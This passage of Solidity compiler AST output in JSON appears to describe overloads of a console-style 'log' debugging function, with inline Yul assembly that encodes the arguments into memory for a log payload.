:"351251:4:22","nodeType":"YulLiteral","src":"351251:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"351257:2:22","nodeType":"YulIdentifier","src":"351257:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351244:6:22","nodeType":"YulIdentifier","src":"351244:6:22"},"nativeSrc":"351244:16:22","nodeType":"YulFunctionCall","src":"351244:16:22"},"nativeSrc":"351244:16:22","nodeType":"YulExpressionStatement","src":"351244:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45166,"isOffset":false,"isSlot":false,"src":"351083:2:22","valueSize":1},{"declaration":45169,"isOffset":false,"isSlot":false,"src":"351112:2:22","valueSize":1},{"declaration":45172,"isOffset":false,"isSlot":false,"src":"351141:2:22","valueSize":1},{"declaration":45175,"isOffset":false,"isSlot":false,"src":"351170:2:22","valueSize":1},{"declaration":45178,"isOffset":false,"isSlot":false,"src":"351199:2:22","valueSize":1},{"declaration":45181,"isOffset":false,"isSlot":false,"src":"351228:2:22","valueSize":1},{"declaration":45184,"isOffset":false,"isSlot":false,"src":"351257:2:22","valueSize":1}],"id":45192,"nodeType":"InlineAssembly","src":"351047:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"349951:3:22","parameters":{"id":45163,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45156,"mutability":"mutable","name":"p0","nameLocation":"349963:2:22","nodeType":"VariableDeclaration","scope":45194,"src":"349955:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45155,"name":"bytes32","nodeType":"ElementaryTypeName","src":"349955:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45158,"mutability":"mutable","name":"p1","nameLocation":"349975:2:22","nodeType":"VariableDeclaration","scope":45194,"src":"349967:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45157,"name":"uint256","nodeType":"ElementaryTypeName","src":"349967:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45160,"mutability":"mutable","name":"p2","nameLocation":"349987:2:22","nodeType":"VariableDeclaration","scope":45194,"src":"349979:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45159,"name":"address","nodeType":"ElementaryTypeName","src":"349979:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45162,"mutability":"mutable","name":"p3","nameLocation":"349996:2:22","nodeType":"VariableDeclaration","scope":45194,"src":"349991:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45161,"name":"bool","nodeType":"ElementaryTypeName","src":"349991:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"349954:45:22"},"returnParameters":{"id":45164,"nodeType":"ParameterList","parameters":[],"src":"350014:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45234,"nodeType":"FunctionDefinition","src":"351282:1340:22","nodes":[],"body":{"id":45233,"nodeType":"Block","src":"351357:1265:22","nodes":[],"statements":[{"assignments":[45206],"declarations":[{"constant":false,"id":45206,"mutability":"mutable","name":"m0","nameLocation":"351375:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351367:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45205,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351367:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45207,"nodeType":"VariableDeclarationStatement","src":"351367:10:22"},{"assignments":[45209],"declarations":[{"constant":false,"id":45209,"mutability":"mutable","name":"m1","nameLocation":"351395:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351387:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45208,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351387:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45210,"nodeType":"VariableDeclarationStatement","src":"351387:10:22"},{"assignments":[45212],"declarations":[{"constant":false,"id":45212,"mutability":"mutable","name":"m2","nameLocation":"351415:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351407:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45211,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351407:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45213,"nodeType":"VariableDeclarationStatement","src":"351407:10:22"},{"assignments":[45215],"declarations":[{"constant":false,"id":45215,"mutability":"mutable","name":"m3","nameLocation":"351435:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351427:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45214,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351427:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45216,"nodeType":"VariableDeclarationStatement","src":"351427:10:22"},{"assignments":[45218],"declarations":[{"constant":false,"id":45218,"mutability":"mutable","name":"m4","nameLocation":"351455:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351447:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45217,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351447:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45219,"nodeType":"VariableDeclarationStatement","src":"351447:10:22"},{"assignments":[45221],"declarations":[{"constant":false,"id":45221,"mutability":"mutable","name":"m5","nameLocation":"351475:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351467:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45220,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351467:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45222,"nodeType":"VariableDeclarationStatement","src":"351467:10:22"},{"assignments":[45224],"declarations":[{"constant":false,"id":45224,"mutability":"mutable","name":"m6","nameLocation":"351495:2:22","nodeType":"VariableDeclaration","scope":45233,"src":"351487:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45223,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351487:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45225,"nodeType":"VariableDeclarationStatement","src":"351487:10:22"},{"AST":{"nativeSrc":"351516:831:22","nodeType":"YulBlock","src":"351516:831:22","statements":[{"body":{"nativeSrc":"351559:313:22","nodeType":"YulBlock","src":"351559:313:22","statements":[{"nativeSrc":"351577:15:22","nodeType":"YulVariableDeclaration","src":"351577:15:22","value":{"kind":"number","nativeSrc":"351591:1:22","nodeType":"YulLiteral","src":"351591:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"351581:6:22","nodeType":"YulTypedName","src":"351581:6:22","type":""}]},{"body":{"nativeSrc":"351662:40:22","nodeType":"YulBlock","src":"351662:40:22","statements":[{"body":{"nativeSrc":"351691:9:22","nodeType":"YulBlock","src":"351691:9:22","statements":[{"nativeSrc":"351693:5:22","nodeType":"YulBreak","src":"351693:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"351679:6:22","nodeType":"YulIdentifier","src":"351679:6:22"},{"name":"w","nativeSrc":"351687:1:22","nodeType":"YulIdentifier","src":"351687:1:22"}],"functionName":{"name":"byte","nativeSrc":"351674:4:22","nodeType":"YulIdentifier","src":"351674:4:22"},"nativeSrc":"351674:15:22","nodeType":"YulFunctionCall","src":"351674:15:22"}],"functionName":{"name":"iszero","nativeSrc":"351667:6:22","nodeType":"YulIdentifier","src":"351667:6:22"},"nativeSrc":"351667:23:22","nodeType":"YulFunctionCall","src":"351667:23:22"},"nativeSrc":"351664:36:22","nodeType":"YulIf","src":"351664:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"351619:6:22","nodeType":"YulIdentifier","src":"351619:6:22"},{"kind":"number","nativeSrc":"351627:4:22","nodeType":"YulLiteral","src":"351627:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"351616:2:22","nodeType":"YulIdentifier","src":"351616:2:22"},"nativeSrc":"351616:16:22","nodeType":"YulFunctionCall","src":"351616:16:22"},"nativeSrc":"351609:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"351633:28:22","nodeType":"YulBlock","src":"351633:28:22","statements":[{"nativeSrc":"351635:24:22","nodeType":"YulAssignment","src":"351635:24:22","value":{"arguments":[{"name":"length","nativeSrc":"351649:6:22","nodeType":"YulIdentifier","src":"351649:6:22"},{"kind":"number","nativeSrc":"351657:1:22","nodeType":"YulLiteral","src":"351657:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"351645:3:22","nodeType":"YulIdentifier","src":"351645:3:22"},"nativeSrc":"351645:14:22","nodeType":"YulFunctionCall","src":"351645:14:22"},"variableNames":[{"name":"length","nativeSrc":"351635:6:22","nodeType":"YulIdentifier","src":"351635:6:22"}]}]},"pre":{"nativeSrc":"351613:2:22","nodeType":"YulBlock","src":"351613:2:22","statements":[]},"src":"351609:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"351726:3:22","nodeType":"YulIdentifier","src":"351726:3:22"},{"name":"length","nativeSrc":"351731:6:22","nodeType":"YulIdentifier","src":"351731:6:22"}],"functionName":{"name":"mstore","nativeSrc":"351719:6:22","nodeType":"YulIdentifier","src":"351719:6:22"},"nativeSrc":"351719:19:22","nodeType":"YulFunctionCall","src":"351719:19:22"},"nativeSrc":"351719:19:22","nodeType":"YulExpressionStatement","src":"351719:19:22"},{"nativeSrc":"351755:37:22","nodeType":"YulVariableDeclaration","src":"351755:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"351772:3:22","nodeType":"YulLiteral","src":"351772:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"351781:1:22","nodeType":"YulLiteral","src":"351781:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"351784:6:22","nodeType":"YulIdentifier","src":"351784:6:22"}],"functionName":{"name":"shl","nativeSrc":"351777:3:22","nodeType":"YulIdentifier","src":"351777:3:22"},"nativeSrc":"351777:14:22","nodeType":"YulFunctionCall","src":"351777:14:22"}],"functionName":{"name":"sub","nativeSrc":"351768:3:22","nodeType":"YulIdentifier","src":"351768:3:22"},"nativeSrc":"351768:24:22","nodeType":"YulFunctionCall","src":"351768:24:22"},"variables":[{"name":"shift","nativeSrc":"351759:5:22","nodeType":"YulTypedName","src":"351759:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"351820:3:22","nodeType":"YulIdentifier","src":"351820:3:22"},{"kind":"number","nativeSrc":"351825:4:22","nodeType":"YulLiteral","src":"351825:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"351816:3:22","nodeType":"YulIdentifier","src":"351816:3:22"},"nativeSrc":"351816:14:22","nodeType":"YulFunctionCall","src":"351816:14:22"},{"arguments":[{"name":"shift","nativeSrc":"351836:5:22","nodeType":"YulIdentifier","src":"351836:5:22"},{"arguments":[{"name":"shift","nativeSrc":"351847:5:22","nodeType":"YulIdentifier","src":"351847:5:22"},{"name":"w","nativeSrc":"351854:1:22","nodeType":"YulIdentifier","src":"351854:1:22"}],"functionName":{"name":"shr","nativeSrc":"351843:3:22","nodeType":"YulIdentifier","src":"351843:3:22"},"nativeSrc":"351843:13:22","nodeType":"YulFunctionCall","src":"351843:13:22"}],"functionName":{"name":"shl","nativeSrc":"351832:3:22","nodeType":"YulIdentifier","src":"351832:3:22"},"nativeSrc":"351832:25:22","nodeType":"YulFunctionCall","src":"351832:25:22"}],"functionName":{"name":"mstore","nativeSrc":"351809:6:22","nodeType":"YulIdentifier","src":"351809:6:22"},"nativeSrc":"351809:49:22","nodeType":"YulFunctionCall","src":"351809:49:22"},"nativeSrc":"351809:49:22","nodeType":"YulExpressionStatement","src":"351809:49:22"}]},"name":"writeString","nativeSrc":"351530:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"351551:3:22","nodeType":"YulTypedName","src":"351551:3:22","type":""},{"name":"w","nativeSrc":"351556:1:22","nodeType":"YulTypedName","src":"351556:1:22","type":""}],"src":"351530:342:22"},{"nativeSrc":"351885:17:22","nodeType":"YulAssignment","src":"351885:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"351897:4:22","nodeType":"YulLiteral","src":"351897:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"351891:5:22","nodeType":"YulIdentifier","src":"351891:5:22"},"nativeSrc":"351891:11:22","nodeType":"YulFunctionCall","src":"351891:11:22"},"variableNames":[{"name":"m0","nativeSrc":"351885:2:22","nodeType":"YulIdentifier","src":"351885:2:22"}]},{"nativeSrc":"351915:17:22","nodeType":"YulAssignment","src":"351915:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"351927:4:22","nodeType":"YulLiteral","src":"351927:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"351921:5:22","nodeType":"YulIdentifier","src":"351921:5:22"},"nativeSrc":"351921:11:22","nodeType":"YulFunctionCall","src":"351921:11:22"},"variableNames":[{"name":"m1","nativeSrc":"351915:2:22","nodeType":"YulIdentifier","src":"351915:2:22"}]},{"nativeSrc":"351945:17:22","nodeType":"YulAssignment","src":"351945:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"351957:4:22","nodeType":"YulLiteral","src":"351957:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"351951:5:22","nodeType":"YulIdentifier","src":"351951:5:22"},"nativeSrc":"351951:11:22","nodeType":"YulFunctionCall","src":"351951:11:22"},"variableNames":[{"name":"m2","nativeSrc":"351945:2:22","nodeType":"YulIdentifier","src":"351945:2:22"}]},{"nativeSrc":"351975:17:22","nodeType":"YulAssignment","src":"351975:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"351987:4:22","nodeType":"YulLiteral","src":"351987:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"351981:5:22","nodeType":"YulIdentifier","src":"351981:5:22"},"nativeSrc":"351981:11:22","nodeType":"YulFunctionCall","src":"351981:11:22"},"variableNames":[{"name":"m3","nativeSrc":"351975:2:22","nodeType":"YulIdentifier","src":"351975:2:22"}]},{"nativeSrc":"352005:17:22","nodeType":"YulAssignment","src":"352005:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"352017:4:22","nodeType":"YulLiteral","src":"352017:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"352011:5:22","nodeType":"YulIdentifier","src":"352011:5:22"},"nativeSrc":"352011:11:22","nodeType":"YulFunctionCall","src":"352011:11:22"},"variableNames":[{"name":"m4","nativeSrc":"352005:2:22","nodeType":"YulIdentifier","src":"352005:2:22"}]},{"nativeSrc":"352035:17:22","nodeType":"YulAssignment","src":"352035:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"352047:4:22","nodeType":"YulLiteral","src":"352047:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"352041:5:22","nodeType":"YulIdentifier","src":"352041:5:22"},"nativeSrc":"352041:11:22","nodeType":"YulFunctionCall","src":"352041:11:22"},"variableNames":[{"name":"m5","nativeSrc":"352035:2:22","nodeType":"YulIdentifier","src":"352035:2:22"}]},{"nativeSrc":"352065:17:22","nodeType":"YulAssignment","src":"352065:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"352077:4:22","nodeType":"YulLiteral","src":"352077:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"352071:5:22","nodeType":"YulIdentifier","src":"352071:5:22"},"nativeSrc":"352071:11:22","nodeType":"YulFunctionCall","src":"352071:11:22"},"variableNames":[{"name":"m6","nativeSrc":"352065:2:22","nodeType":"YulIdentifier","src":"352065:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352168:4:22","nodeType":"YulLiteral","src":"352168:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"352174:10:22","nodeType":"YulLiteral","src":"352174:10:22","type":"","value":"0x4f04fdc6"}],"functionName":{"name":"mstore","nativeSrc":"352161:6:22","nodeType":"YulIdentifier","src":"352161:6:22"},"nativeSrc":"352161:24:22","nodeType":"YulFunctionCall","src":"352161:24:22"},"nativeSrc":"352161:24:22","nodeType":"YulExpressionStatement","src":"352161:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352205:4:22","nodeType":"YulLiteral","src":"352205:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"352211:4:22","nodeType":"YulLiteral","src":"352211:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"352198:6:22","nodeType":"YulIdentifier","src":"352198:6:22"},"nativeSrc":"352198:18:22","nodeType":"YulFunctionCall","src":"352198:18:22"},"nativeSrc":"352198:18:22","nodeType":"YulExpressionStatement","src":"352198:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352236:4:22","nodeType":"YulLiteral","src":"352236:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"352242:2:22","nodeType":"YulIdentifier","src":"352242:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352229:6:22","nodeType":"YulIdentifier","src":"352229:6:22"},"nativeSrc":"352229:16:22","nodeType":"YulFunctionCall","src":"352229:16:22"},"nativeSrc":"352229:16:22","nodeType":"YulExpressionStatement","src":"352229:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352265:4:22","nodeType":"YulLiteral","src":"352265:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"352271:2:22","nodeType":"YulIdentifier","src":"352271:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352258:6:22","nodeType":"YulIdentifier","src":"352258:6:22"},"nativeSrc":"352258:16:22","nodeType":"YulFunctionCall","src":"352258:16:22"},"nativeSrc":"352258:16:22","nodeType":"YulExpressionStatement","src":"352258:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352294:4:22","nodeType":"YulLiteral","src":"352294:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"352300:2:22","nodeType":"YulIdentifier","src":"352300:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352287:6:22","nodeType":"YulIdentifier","src":"352287:6:22"},"nativeSrc":"352287:16:22","nodeType":"YulFunctionCall","src":"352287:16:22"},"nativeSrc":"352287:16:22","nodeType":"YulExpressionStatement","src":"352287:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352328:4:22","nodeType":"YulLiteral","src":"352328:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"352334:2:22","nodeType":"YulIdentifier","src":"352334:2:22"}],"functionName":{"name":"writeString","nativeSrc":"352316:11:22","nodeType":"YulIdentifier","src":"352316:11:22"},"nativeSrc":"352316:21:22","nodeType":"YulFunctionCall","src":"352316:21:22"},"nativeSrc":"352316:21:22","nodeType":"YulExpressionStatement","src":"352316:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45206,"isOffset":false,"isSlot":false,"src":"351885:2:22","valueSize":1},{"declaration":45209,"isOffset":false,"isSlot":false,"src":"351915:2:22","valueSize":1},{"declaration":45212,"isOffset":false,"isSlot":false,"src":"351945:2:22","valueSize":1},{"declaration":45215,"isOffset":false,"isSlot":false,"src":"351975:2:22","valueSize":1},{"declaration":45218,"isOffset":false,"isSlot":false,"src":"352005:2:22","valueSize":1},{"declaration":45221,"isOffset":false,"isSlot":false,"src":"352035:2:22","valueSize":1},{"declaration":45224,"isOffset":false,"isSlot":false,"src":"352065:2:22","valueSize":1},{"declaration":45196,"isOffset":false,"isSlot":false,"src":"352334:2:22","valueSize":1},{"declaration":45198,"isOffset":false,"isSlot":false,"src":"352242:2:22","valueSize":1},{"declaration":45200,"isOffset":false,"isSlot":false,"src":"352271:2:22","valueSize":1},{"declaration":45202,"isOffset":false,"isSlot":false,"src":"352300:2:22","valueSize":1}],"id":45226,"nodeType":"InlineAssembly","src":"351507:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45228,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"352372:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45229,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"352378:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45227,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"352356:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45230,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"352356:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45231,"nodeType":"ExpressionStatement","src":"352356:27:22"},{"AST":{"nativeSrc":"352402:214:22","nodeType":"YulBlock","src":"352402:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"352423:4:22","nodeType":"YulLiteral","src":"352423:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"352429:2:22","nodeType":"YulIdentifier","src":"352429:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352416:6:22","nodeType":"YulIdentifier","src":"352416:6:22"},"nativeSrc":"352416:16:22","nodeType":"YulFunctionCall","src":"352416:16:22"},"nativeSrc":"352416:16:22","nodeType":"YulExpressionStatement","src":"352416:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352452:4:22","nodeType":"YulLiteral","src":"352452:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"352458:2:22","nodeType":"YulIdentifier","src":"352458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352445:6:22","nodeType":"YulIdentifier","src":"352445:6:22"},"nativeSrc":"352445:16:22","nodeType":"YulFunctionCall","src":"352445:16:22"},"nativeSrc":"352445:16:22","nodeType":"YulExpressionStatement","src":"352445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352481:4:22","nodeType":"YulLiteral","src":"352481:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"352487:2:22","nodeType":"YulIdentifier","src":"352487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352474:6:22","nodeType":"YulIdentifier","src":"352474:6:22"},"nativeSrc":"352474:16:22","nodeType":"YulFunctionCall","src":"352474:16:22"},"nativeSrc":"352474:16:22","nodeType":"YulExpressionStatement","src":"352474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352510:4:22","nodeType":"YulLiteral","src":"352510:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"352516:2:22","nodeType":"YulIdentifier","src":"352516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352503:6:22","nodeType":"YulIdentifier","src":"352503:6:22"},"nativeSrc":"352503:16:22","nodeType":"YulFunctionCall","src":"352503:16:22"},"nativeSrc":"352503:16:22","nodeType":"YulExpressionStatement","src":"352503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352539:4:22","nodeType":"YulLiteral","src":"352539:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"352545:2:22","nodeType":"YulIdentifier","src":"352545:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352532:6:22","nodeType":"YulIdentifier","src":"352532:6:22"},"nativeSrc":"352532:16:22","nodeType":"YulFunctionCall","src":"352532:16:22"},"nativeSrc":"352532:16:22","nodeType":"YulExpressionStatement","src":"352532:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352568:4:22","nodeType":"YulLiteral","src":"352568:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"352574:2:22","nodeType":"YulIdentifier","src":"352574:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352561:6:22","nodeType":"YulIdentifier","src":"352561:6:22"},"nativeSrc":"352561:16:22","nodeType":"YulFunctionCall","src":"352561:16:22"},"nativeSrc":"352561:16:22","nodeType":"YulExpressionStatement","src":"352561:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"352597:4:22","nodeType":"YulLiteral","src":"352597:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"352603:2:22","nodeType":"YulIdentifier","src":"352603:2:22"}],"functionName":{"name":"mstore","nativeSrc":"352590:6:22","nodeType":"YulIdentifier","src":"352590:6:22"},"nativeSrc":"352590:16:22","nodeType":"YulFunctionCall","src":"352590:16:22"},"nativeSrc":"352590:16:22","nodeType":"YulExpressionStatement","src":"352590:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45206,"isOffset":false,"isSlot":false,"src":"352429:2:22","valueSize":1},{"declaration":45209,"isOffset":false,"isSlot":false,"src":"352458:2:22","valueSize":1},{"declaration":45212,"isOffset":false,"isSlot":false,"src":"352487:2:22","valueSize":1},{"declaration":45215,"isOffset":false,"isSlot":false,"src":"352516:2:22","valueSize":1},{"declaration":45218,"isOffset":false,"isSlot":false,"src":"352545:2:22","valueSize":1},{"declaration":45221,"isOffset":false,"isSlot":false,"src":"352574:2:22","valueSize":1},{"declaration":45224,"isOffset":false,"isSlot":false,"src":"352603:2:22","valueSize":1}],"id":45232,"nodeType":"InlineAssembly","src":"352393:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"351291:3:22","parameters":{"id":45203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45196,"mutability":"mutable","name":"p0","nameLocation":"351303:2:22","nodeType":"VariableDeclaration","scope":45234,"src":"351295:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45195,"name":"bytes32","nodeType":"ElementaryTypeName","src":"351295:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45198,"mutability":"mutable","name":"p1","nameLocation":"351315:2:22","nodeType":"VariableDeclaration","scope":45234,"src":"351307:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45197,"name":"uint256","nodeType":"ElementaryTypeName","src":"351307:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45200,"mutability":"mutable","name":"p2","nameLocation":"351327:2:22","nodeType":"VariableDeclaration","scope":45234,"src":"351319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45199,"name":"address","nodeType":"ElementaryTypeName","src":"351319:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45202,"mutability":"mutable","name":"p3","nameLocation":"351339:2:22","nodeType":"VariableDeclaration","scope":45234,"src":"351331:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45201,"name":"uint256","nodeType":"ElementaryTypeName","src":"351331:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"351294:48:22"},"returnParameters":{"id":45204,"nodeType":"ParameterList","parameters":[],"src":"351357:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45280,"nodeType":"FunctionDefinition","src":"352628:1536:22","nodes":[],"body":{"id":45279,"nodeType":"Block","src":"352703:1461:22","nodes":[],"statements":[{"assignments":[45246],"declarations":[{"constant":false,"id":45246,"mutability":"mutable","name":"m0","nameLocation":"352721:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352713:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352713:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45247,"nodeType":"VariableDeclarationStatement","src":"352713:10:22"},{"assignments":[45249],"declarations":[{"constant":false,"id":45249,"mutability":"mutable","name":"m1","nameLocation":"352741:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352733:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45248,"n